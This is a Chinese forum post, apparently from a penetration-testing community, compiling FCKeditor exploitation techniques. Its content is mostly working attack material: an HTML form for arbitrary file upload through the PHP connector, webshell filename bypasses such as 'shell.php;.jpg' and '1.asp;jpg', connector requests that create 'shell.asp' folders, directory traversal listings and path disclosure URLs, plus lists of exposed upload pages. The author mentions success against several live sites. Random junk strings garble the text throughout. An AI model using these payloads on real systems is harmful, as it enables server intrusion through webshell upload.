中国网络渗透测试联盟
标题:
Fckeditor漏洞 (2)
[打印本页]
作者:
admin
时间:
2012-9-13 17:01
标题:
Fckeditor漏洞 (2)
Fckeditor漏洞利用总结
1 l, q* K5 `$ H# V; i( s& P8 ]) |
查看编辑器版本
4 r/ b/ ^6 O2 w. F
FCKeditor/_whatsnew.html
, i, F5 e7 ^7 v: M5 K# q
—————————————————————————————————————————————————————————————
" P) m/ ]8 E. j& M; Z! A
9 }/ P4 p) t2 g3 n
2. Version 2.2 版本
+ z4 K, x' J. a6 I+ M( w# H2 l9 n# F
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
/ G, w% }/ o) k% }" E, `4 A9 b4 V
—————————————————————————————————————————————————————————————
# S8 ]# s+ y7 I- c2 j
& l! v( M/ H3 n+ R5 l
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
, C" H6 C1 M! x8 ?7 H
<form id="frmUpload" enctype="multipart/form-data"
* ?3 |. m/ t7 C7 T3 Z! N2 w
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
' f# S M. D) _* w; T* P
<input type="file" name="NewFile" size="50"><br>
) B5 s% u' N2 `$ O; F) j- e
<input id="btnUpload" type="submit" value="Upload">
$ ]' g$ @# ]4 n+ O7 T* x
</form>
r! ?8 v+ ~; k: V1 u P
—————————————————————————————————————————————————————————————
8 E( K+ P3 U. G# C& M: k
% M h+ P4 N% `+ E5 l4 `
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
( H: b# D9 w3 n
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
! o! `8 G4 h, B) J2 J4 y
4.1:提交shell.php+空格绕过
j5 D' Z& }0 l: ]' t6 _( D
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
! j6 q" c6 D" k0 d1 O
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
8 B" D% a, ^7 w" V: |1 F
—————————————————————————————————————————————————————————————
- ^8 ?( q' [$ o* z+ A( W8 P
) [. R+ d* L6 C: k4 s
5. 突破建立文件夹
( g; e3 ^! p5 `. t
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
, A! h- }; q; y6 H
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
0 L, Q3 b/ u8 j) R
—————————————————————————————————————————————————————————————
3 w6 N$ R6 `5 y( k: { F
$ Y% r E: }: r3 z2 d* W6 b
6. FCKeditor 中test 文件的上传地址
* k+ [6 L0 u: f' t6 O
FCKeditor/editor/filemanager/browser/default/connectors/test.html
5 w4 ?4 t' B1 I6 {
FCKeditor/editor/filemanager/upload/test.html
9 G5 O' ~2 ]' J# d# a
FCKeditor/editor/filemanager/connectors/test.html
Z4 }( d3 a9 @. F' B) P
FCKeditor/editor/filemanager/connectors/uploadtest.html
/ X8 Q& t" W" s4 N
—————————————————————————————————————————————————————————————
3 v+ d5 Q0 s0 [3 L( q
( J4 m, `: ^& @: N" V
7.常用上传地址
, B0 \3 Q+ L x, K z0 X
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' ~; H9 ~6 I4 J C, x% W: J; N
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
8 g' v' J4 U q1 ^! W
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
/ u# o- u/ S1 Y, I
JSP 版:
4 C: A% k; |8 b! t' _2 E
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
. s. o" j' }# u7 d H
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
7 D/ Z+ A( F ~' t/ K) Y: X: [3 s
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
- z* `( K7 R. r O" E9 ?7 K
—————————————————————————————————————————————————————————————
8 ?1 ~* Q5 A$ E7 ]7 K+ i' N
n7 S0 U1 i6 u6 ~: E
8.其他上传地址
$ f& M ~& ], l/ M5 y
FCKeditor/_samples/default.html
5 ]! A3 J+ G0 z$ _; ~* \& R' w& e# n8 Q
FCKeditor/_samples/asp/sample01.asp
. @7 l. I$ Z3 j
FCKeditor/_samples/asp/sample02.asp
9 }" s/ R E8 h+ K/ Y
FCKeditor/_samples/asp/sample03.asp
& L5 b( R* P. z, D
FCKeditor/_samples/asp/sample04.asp
N! y% O( `* i! s2 s
一般很多站点都已删除_samples 目录,可以试试。
/ [' H: \9 L9 g3 `6 U9 S# v$ m
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
3 c: d q- M, m/ b
—————————————————————————————————————————————————————————————
3 N9 {( j) v% u" u% b6 h; V
" X3 M! |: K1 y, i3 Y& j
9.列目录漏洞也可助找上传地址
- l6 U+ |: J# ~ Y% i" ]% [3 I
Version 2.4.1 测试通过
- _0 N p. P# C
修改CurrentFolder 参数使用 ../../来进入不同的目录
: F: ?( x. ~" }+ E$ k- a
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
- L; F0 a: M2 d3 U
根据返回的XML 信息可以查看网站所有的目录。
7 V4 i4 z3 L4 N7 q3 i1 l3 _
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
: M1 c6 M+ ~# m# P8 T- P
也可以直接浏览盘符:
' \0 P/ h1 R/ b7 Y/ a/ x; T! V
JSP 版本:
' @: K1 R+ Z! |
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
# k9 w0 j2 H/ K+ d% U
—————————————————————————————————————————————————————————————
q n' K9 R: a; T: e9 D k6 h
& |. ]0 J; E2 a- E. K0 \
10.爆路径漏洞
0 Y8 C, F! W# e1 f% X( y
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
" l& X g% }- V8 y+ r
—————————————————————————————————————————————————————————————
_" Y/ c4 H5 A# F6 o
+ N+ R, u# P. \9 _8 S( C& a a
11. FCKeditor 被动限制策略所导致的过滤不严问题
+ u+ e _0 `7 \/ y7 N
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
R* x2 A( \. u2 L4 d8 D
脆弱描述:
+ I. [$ F# `. f5 y
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
# [& d y9 K" b- Q( g) V! f
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
) M" s0 {) l; W4 }1 C6 H! F
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
~* s/ r- A7 u% d
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
2 ~9 |- }* w( a( Y9 G: S& Y9 |6 n' `
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
r5 ?9 x: p9 M* p1 P
—————————————————————————————————————————————————————————————
" |1 }, Z# A2 e- U2 V9 E0 d2 T
5 h" t! `9 c& N r7 J
12.最古老的漏洞,Type文件没有限制!
1 b% E) O/ k4 h s
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
0 H1 d, c+ W2 h8 p" |
—————————————————————————————————————————————————————————————
9 ]+ b7 _& ~$ N$ M3 O6 B; q3 [
4 z4 s! Z" n% j
===============================================================================================================================================
4 X% Q, n* P5 W6 `0 K. B
7 @4 l8 _7 d! D7 `) M5 o8 ]% D
FCK编辑器jsp版本漏洞:
% F8 s& l6 K) h% \) I+ X( {
) v7 g/ k/ n& i* N+ L
9 r& Z7 ~' y# Y8 K! D: @- _# g
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
+ r. U4 r: y1 q" B
5 ?& R# k$ R+ O
上传马所在目录
$ s+ T+ F. x. N
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
5 n( Y7 ]: W% J0 g" l% M
上传shell的地址:
) _- u( Y" q$ X) i5 b4 l' b
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
$ [5 l6 t9 B. }8 ]1 n8 y' g, O7 F
跟版本有关系.并不是百分百成功. 测试成功几个站.
! x" E7 E7 V* D5 q5 B4 a% I
不能通杀.很遗憾.
) L) p1 y) R# D1 X
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
* B- \/ e) p0 ~- p
如果以上地址不行可以试试
" G/ _3 A& C6 N+ I- X8 \, O
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
: Q4 b& x5 E$ m s* s
FCKeditor/_samples/
9 `. m) R# P$ Z/ z; Z1 m* L# t+ [
FCKeditor/_samples/default.html
: P. y; U% f! `% G9 H' t
FCKeditor/editor/fckeditor.htm
! k3 e8 [+ P: M- f
FCKeditor/editor/fckdialog.html
! `! n8 P4 A4 w
1 B% A, n5 o0 J# I% X. Y4 T$ y0 A, c7 ^) Z
/ `) U7 K/ w* N( a+ a2 H' Q
7 H; |0 E# m' {0 n
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
; P) j1 ~# H n& _2 ^' Z2 `
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2